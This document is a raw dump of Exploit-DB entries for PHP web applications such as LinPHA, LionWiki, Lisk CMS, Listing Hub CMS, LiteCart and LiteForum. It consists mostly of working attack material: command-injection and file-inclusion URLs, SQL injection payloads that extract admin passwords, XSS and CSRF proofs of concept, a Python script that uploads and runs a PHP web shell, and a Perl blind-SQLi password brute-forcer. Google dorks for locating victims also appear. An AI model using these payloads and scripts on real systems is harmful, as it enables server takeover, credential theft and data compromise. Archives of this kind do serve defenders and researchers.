deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12624
Description: LinPHA 1.3.2 - 'rotate.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2010-05-16
Author: Sn!pEr.S!Te Hacker

Exploit:
        __           __      ___
 __            __  /'__`\        /\ \__  /'__`\                 
/\_\    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __       ___    ___     ___ ___          
\/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\    /'___\ / __`\ /' __` __`\   
 \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/  __/\ \__//\ \L\ \/\ \/\ \/\ \  
  \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ /\_\ \____\ \____/\ \_\ \_\ \_\  
   \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/ \/_/\/____/\/___/  \/_/\/_/\/_/
              \ \____/                                           
               \/___/

# ----------------------oOO---(_)---OOo-----------------------
# | __ __ |  
# | _____/ /_____ ______/ /_ __ ______ ______ |  
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |  
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |  
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |  
# | Security Sn!pEr.S!Te /____/ 2o1o |  
# ------------------------------------------------------------
     Remote Command Execution Vulnerability
# ------------------------------------------------------------ 
--------------------------------------------------------------
LinPHA <== 1.3.2 ( rotate.php )

--------------------------------------------------------------

#[+] Author : Sn!pEr.S!Te Hacker #  
# [+] Email : sniper-site@HoTMaiL.coM #  
# [+] T34M Sn!pEr.S!Te Hacker #  
# [+] 16-5-2010 # 
# [+] Script : lmage » LinPHA Photo Gallery#
# [+] Download:http://sourceforge.net/projects/linpha/files/linpha/linpha-1.3.4/linpha-1.3.4.zip/download # 
# Version: [1.3.2] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : linpha-1.3.4\actions\rotate.php


http://localhost/linpha-1.3.4\actions\rotate.php?full_convert_path= [your command]


htpp://127.0.0.1/linpha-1.3.4\actions\rotate.php?full_convert_path= [your command]


exec($full_convert_path.' -rotate '.$rotate.' '.escape_string($img2rotate).' '.escape_string($img2rotate));

line : 78




web site Favorites my  : http://inj3ct0r.com/  & http://www.hack0wn.com/ & http://www.exploit-db.com



friend my : liar - sm Hacker -baby hacker -dmar -saleh Hacker - ALhal alsab -  
            Mr.SaTaN - abo badr - aStoorh alqssim - Ramad Hacker- h-ex - 
            yousfe - Hiter.3rb - QAHER ALRAFDE - DjHacker - My Heart - Mr.koka-
Exploit-DB #31256
Description: LinPHA 1.3.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-29
Author: killall-9

Exploit:
# Exploit Title: linPHA 1.3.4 - Pemanent XSS and CSRF
# Date: 28/01/2014
# Exploit Author: killall-9@mail.com
# Vendor Homepage: http://sourceforge.net/projects/linpha/
# Software Link: http://sourceforge.net/projects/linpha/files/latest/download
# Version: 1.3.4
# Tested on: Virtualbox (debian) and Apache

===[ Exploit ]===

1) Permanent XSS=>
.....
POST /linpha-1.3.4/actions/submit_mod_data.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/linpha-1.3.4/admin.php?page=mysettings
Cookie: PHPSESSID=bbdjarqpmknfpubtnc29rgodu0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 153

friend_user_name=admin&friend_full_name=%3Cscript%3Ealert%28%22xss+here%22%29%3B%3C%2Fscript%3E&friend_user_mail=admin%40gmail.com&id=1&action=frienduser
.....


2) CSRF (poc)=>
.....
<html>
<head>
<title>Pinata-CSRF-Tool</title>
</head>
<body>
<form action="http://localhost/linpha-1.3.4/admin.php?page=perms&edit=basket_mail&redirector=general" id="formid" method="post">
<input name="who" value="2" />
<input name="and_or" value="0" />
<input name="alb" value="0" />
<input name="change_permissions" value="true" />
<input type="submit" value="Invia"/>
</form>
</body>
</html>
.....

These vulnerabilities was found in the administration panel.
cheerZ.:
Exploit-DB #9119
Description: LionWiki - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-07-10
Author: MoDaMeR

Exploit:
script home site :0 http://lionwiki.0o.cz/

script name := Powered by LionWiki

exploit :-
index.php?page= ../../../../../../../../etc/passwd%00.jpg
index.php?page= ../../../../../../../../etc/passwd%00.htm
index.php?page= ../../../../../../../../etc/passwd%00.html

demo site :-
http://wiki.tlapicka.net/index.php

------------------------------------------
found by MoDaMeR
Islamic ghosts Team

Gr33tz:- all muslum hackerz ,all my freind 

# milw0rm.com [2009-07-10]
Exploit-DB #12075
Description: LionWiki 3.x - 'index.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-05
Author: ayastar

Exploit:
# Exploit Title: LionWiki 3.X (index.php) upload shell
# Date: monday 05 april 2010
# Author: ayastar
# Software Link: http://lionwiki.0o.cz
# Version: 3.X
# Tested on: ubuntu 9.10 (english )
# CVE : [yes]
# Code : [exploit code]

hi brother's and all muslims
this is my first bug :)

dork : "powered by LionWiki "

exploit :

http://victim/path/index.php?action=upload
http://victim.com/path/?action=upload


ah (note)" you can't upload you're shell code if admin create password "

contacte my in
dmx-ayastar@hotmail.fr


cretz for alah and  all muslims and all hacker and all tryagian ( ayastar) :)
Exploit-DB #37469
Description: LIOOSYS CMS - SQL Injection / Information Disclosure
Type: webapps
Platform: php
Date: 2012-06-29
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/54239/info

LIOOSYS CMS is prone to an SQL-injection vulnerability and an information-disclosure vulnerability.

Exploiting these issues could allow an attacker to obtain sensitive information, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/index.php?id

http://www.example.com/_files_/db.log
Exploit-DB #4976
Description: Liquid-Silver CMS 0.1 - 'update' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-23
Author: Stack

Exploit:
####################################################################################
###### Liquid-Silver CMS   Local File Inclusion Vulnerabilities                #####
###### http://sourceforge.net/project/showfiles.php?group_id=171166            #####
###### author : Stack-Terrorist [v40]                                          #####
###### foor read a php file > ?update=[name of file iwthout php]               #####
###### for execute exploit does not write extention of file                    #####
######                                                                         #####
######                                                                         #####
###### exploit : /Script/update/index.php?update=/[name of file wthout php]    #####
######                                                                         #####
###### example : /Script/update/index.php?update=/home/user/shell              #####
######                                                                         #####
###### other files:    update=../../../../etc/passwd%00                        #####
######                                                                         #####
######  H-T Team , v4 Team  , Tryag , no-hack all my friend                    #####
####################################################################################

# milw0rm.com [2008-01-23]
Exploit-DB #34023
Description: Lisk CMS 4.4 - 'id' Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2010-05-20
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40314/info

Lisk CMS is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Lisk CMS 4.4 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/path_to_cp/list_content.php?cl=2%27%22%3E%3Cimg+src=x+onerror=alert%28document.cookie%29%3E
http://www.example.com/path_to_cp/edit_email.php?&id=contact_form_214%27+--+%3Cimg+src=x+onerror=alert%28document.cookie%29%3E
http://www.example.com/path_to_cp/cp_messages.php?action=view_inbox&id=-1+union+select+1,2,3,4,5,6,7,8,9+--+
http://www.example.com/path_to_cp/edit_email.php?&id=X%27+union+select+1,2,3,4,5,6+--+
Exploit-DB #12727
Description: LiSK CMS 4.4 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22373

Reference:
http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_lisk_cms_1.html

Product: LiSK CMS

Vendor: Createch-group

Vulnerable Version: 4.4

Vendor Notification: 06 May 2010

Vulnerability Type: SQL Injection

Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level:
Medium

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)


Vulnerability Details:

The vulnerability exists due to failure in the "/edit_email.php" script to
properly sanitize user-supplied input in "id" variable. Attacker can alter
queries to the application SQL database, execute arbitrary queries to the
database, compromise the application, access or modify sensitive data, or
exploit various vulnerabilities in the underlying SQL database.


Attacker can use browser to exploit this vulnerability. The following PoC is
available:

http://host/path_to_cp/edit_email.php?&id=X%27+union+select+1,2,3,4,5,6+--+
Exploit-DB #10838
Description: list Web - 'addlink.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
|
|  list Web  (addlink.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
|
| script : http://maker.ir
|
| DorK   : inurl:"ir/addlink.php?id=" or inurl:"addlink.php?id="
|___________________________________________________|

Exploit:
________


www.[target].com/Script/addlink.php?id=-0+union+select+1,concat(email,0x3e,password),3,4+from+admin--

IQ-SecuritY FoRuM
Exploit-DB #46419
Description: Listing Hub CMS 1.0 - 'pages.php id' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-19
Author: Deyaa Muhammad

Exploit:
# Exploit Title: Listing Hub CMS 1.0 - 'pages.php id' SQL Injection
# Google Dork: inurl:"pages.php?title=privacy-policy"
# Date: 14 Feb 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://themerig.com/
# Software Link: https://codecanyon.net/item/listing-hub-cms-directory-listings-theme/21361294
# Demo Website: https://listing-hub.themerig.com
# Version: 1.0
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
----------------------
Listing Hub CMS 1.0 suffers from a SQL Injection vulnerability.

# POC:
----------------------
1. Access the following path https://[PATH]/pages.php?title=privacy-policy&id=2
2. You can perform an " error-based" SQL Injection using the payload below
2%27%20AND%20(SELECT%204588%20FROM(SELECT%20COUNT(*),CONCAT(0x3a3a,user(),0x3a3a,database(),0x3a3a,version(),0x3a3a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20-

# Request:
----------------------
GET /pages.php?id=2%27%20AND%20(SELECT%204588%20FROM(SELECT%20COUNT(*),CONCAT(0x3a3a,user(),0x3a3a,database(),0x3a3a,version(),0x3a3a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20- HTTP/1.1
Accept-Encoding: gzip, deflate
Host: server
Accept: */*
Connection: close
Cache-Control: no-cache


# Response:
----------------------
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=icrk7uvmqmpsmb4ndt56me8564; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 1149
Vary: Accept-Encoding
Date: Fri, 15 Feb 2019 06:16:21 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43"
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]-->
<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]-->
<!--[if IE 8]>         <html class="no-js lt-ie9" lang=""> <![endif]-->
<!--[if gt IE 8]><!-->
<html class="no-js" lang="eng">
	<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta name="robots" content="index,follow"><br />
<b>Notice</b>:  Undefined index: title in <b>/home2/otomati5/server/includes/head.php</b> on line <b>71</b><br />
<br />
<b>Warning</b>:  PDO::query(): SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '::otomati5_hub@localhost::otomati5_hub::10.1.37-MariaDB-cll-lve:' for key 'group_key' in <b>/home2/otomati5/listing-hub.themerig.com/includes/head.php</b> on line <b>75</b><br />
<br />
<b>Fatal error</b>:  Call to a member function fetch() on boolean in <b>/home2/otomati5/listing-hub.themerig.com/includes/head.php</b> on line <b>75</b><br />
Exploit-DB #44774
Description: Listing Hub CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-27
Author: AkkuS

Exploit:
# Exploit Title: Listing Hub CMS 1.0 - Multiple SQL Injection
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/listing-hub-cms-directory-listings-theme/21361294
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can use the 'SQLi' attack method on many places.
====================================================

# PoC : SQLi :

# /items.php Parameter: id (GET)

    Type: boolean-based blind
    Demo:
https://site.com/items.php?title=test-listing-1&id=14
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: title=test-listing-1&id=14' AND 4740=4740 AND 'xGsz'='xGsz

    Type: AND/OR time-based blind
    Demo:
https://site.com/items.php?title=test-listing-1&id=14
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: title=test-listing-1&id=14' AND SLEEP(5) AND 'FDLK'='FDLK

# /listing_category.php Parameter: city (GET)

    Type: AND/OR time-based blind
    Demo:
https://site.com/listing_category.php?keywords=test&city=1&category=1
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=test&city=1' AND SLEEP(5)-- LTpZ&category=1

    Parameter: category (GET)

    Type: AND/OR time-based blind
    Demo:
https://site.com/listing_category.php?keywords=test&city=1&category=1
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=test&city=1&category=1' AND SLEEP(5)-- LTpZ

# /blog_detail.php Parameter: id (GET)

    Type: AND/OR time-based blind
    Demo:
https://site.com/blog_detail.php?title=helping-kids-grow-up-stronger&id=1
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: title=helping-kids-grow-up-stronger&id=1' AND SLEEP(5)-- LTpZ

====================================================
Exploit-DB #28231
Description: ListMessenger 0.9.3 - 'LM_Path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: xoron

Exploit:
source: https://www.securityfocus.com/bid/19014/info

ListMessenger is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.9.3; other versions may also be vulnerable.

Further reports indicate the vulnerable parameter is defined with a hard-coded value and is therefore not vulnerable.

NOTE: This issue is being retired.

http://www.example.com/[path]/enduser/listmessenger.php?lm_path=evil_script?
Exploit-DB #45267
Description: LiteCart 2.1.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-08-27
Author: Haboob Team

Exploit:
# Exploit Title: LiteCart 2.1.2 - Arbitrary File Upload
# Date: 2018-08-27
# Exploit Author: Haboob Team
# Software Link: https://www.litecart.net/downloading?version=2.1.2
# Version: 2.1.2
# CVE : CVE-2018-12256

# 1. Description
# admin/vqmods.app/vqmods.inc.php in LiteCart 2.1.2 allows remote authenticated attackers 
# to upload a malicious file (resulting in remote code execution) by using the text/xml 
# or application/xml Content-Type in a public_html/admin/?app=vqmods&doc=vqmods request.
 
# 2. Proof of Concept
 
#!/usr/bin/env python
import mechanize
import cookielib
import urllib2
import requests
import sys
import argparse
import random
import string
parser = argparse.ArgumentParser(description='LiteCart')
parser.add_argument('-t',
                    help='admin login page url - EX: https://IPADDRESS/admin/')
parser.add_argument('-p',
                    help='admin password')
parser.add_argument('-u',
                    help='admin username')
args = parser.parse_args()
if(not args.u or not args.t or not args.p):
    sys.exit("-h for help")
url = args.t
user = args.u
password = args.p

br = mechanize.Browser()
cookiejar = cookielib.LWPCookieJar()
br.set_cookiejar( cookiejar )
br.set_handle_equiv( True )
br.set_handle_redirect( True )
br.set_handle_referer( True )
br.set_handle_robots( False )
br.addheaders = [ ( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]
response = br.open(url)
br.select_form(name="login_form")
br["username"] = user
br["password"] = password
res = br.submit()
response = br.open(url + "?app=vqmods&doc=vqmods")
one=""
for form in br.forms():
    one= str(form).split("(")
    one= one[1].split("=")
    one= one[1].split(")")
    one = one[0]
cookies = br._ua_handlers['_cookies'].cookiejar
cookie_dict = {}
for c in cookies:
    cookie_dict[c.name] = c.value
rand = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(5))
files = {
        'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/" + rand + ".php?c=id")
if r.status_code == 200:
    print "Shell => " + url + "../vqmod/xml/" + rand + ".php?c=id"
    print r.content
else:
    print "Sorry something went wrong"
Exploit-DB #4300
Description: litecommerce 2004 - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-21
Author: k1tk4t

Exploit:
########################################################################
# litecommerce Copyright Â© 2004 - Remote SQL Injection
# Vendor        : http://www.litecommerce.com/
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
# Dork          : Powered by LiteCommerce
########################################################################
POC;

http://localhost/cart.php?target=category&category_id=9999)union/**/select/**/concat(login,'-',password)/**/from/**/xlite_profiles/*

jika exploit ini berhasil, anda akan melihat pesan error pada halaman, pesan error yang berisikan informasi kesalahan SQL
sekaligus memberikan informasi "login" dan "password" yang berada pada table xlite_profiles
exploit ini kemungkinan tidak berhasil pada litecommerce terbaru[tidak ada pesan error]
########################################################################
Terimakasih untuk;
str0ke
arioo[nyubicrew] yang telah memberikan link tersebut
xoron,y3dips,mathdule,iFX,x-ace,nyubi,selikoer,k1ngk0ng
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
cintailah bahasa Indonesia

# milw0rm.com [2007-08-21]
Exploit-DB #786
Description: LiteForum 2.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2005-02-04
Author: RusH

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;

## LiteForum 2.1.1 (http://www.softtime.ru) 
## sql injection exploit
## work on all mysql versions
## by 1dt.w0lf
## RusH security team (http://rst.void.ru)
## ---------------------------------------
## greets 2: 
## ghc (www.ghc.ru)
## Gh0st Security Team (http://gst.void.ru) heya Ch0ke7 and off couse "re ine" ;)
## 0xdeadbabe Security Research (0xdeadbabe.blackhatz.info)
## 10x to cr0n for idea abour kewl haxor "username" =)))

$path   = $ARGV[0];
$userid = $ARGV[1];

$|++;
$s_num = 1;

if (@ARGV < 2) { &usage; }
if ($ARGV[1]=~/[^0-9]/) { print "stupid! \"".$ARGV[1]."\" is not number!"; exit(); }
print " Please wait...\r\n";
print " Progress : [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
if ($i=="0") 
 { 
 if(length($allchar)>0)
 {
 print qq|] 

   USER_ID: $userid
 USER_PASS: $allchar
 |;
 }
 else
 {
 print qq|]
 Forum not vulnerable or user ID is incorrect|;
 }
 
 exit(); 
 
 
 }
else 
 { 
 print "#"; 
 $allchar .= chr($i); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 $ccheck = $_[0];
 
 $lite_f = LWP::UserAgent->new() or die;
 $res = $lite_f->post("$path",
 [
 "author" => "i_am_kewl_hakka_FATAL_ERROR_blyat\\",
 "pswrd"  => " OR (id_author=".$userid." AND (ascii(substring(passw,".$s_num.",1))".$ccheck.")) /*"
 ] 
 ); 
 @results = $res->content; 
 
 foreach $result(@results)
  {
  #print $result."\r\n";
  if ($result =~ /Error/) { return 1; }
  }
 return 0;
 }
 
sub usage {
 print q|
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 LiteForum 2.1.1 sql injection exploit with one char bruteforce
           by RusH security team (www.rst.void.ru)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Usage: r57lite211.pl [path] [id]                   
  
 [path] - path to enter.php (http://host.com/forum/enter.php)
 [id]   - user ID to bruteforce (1,2,3...)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 |; 
 exit();
}

# milw0rm.com [2005-02-04]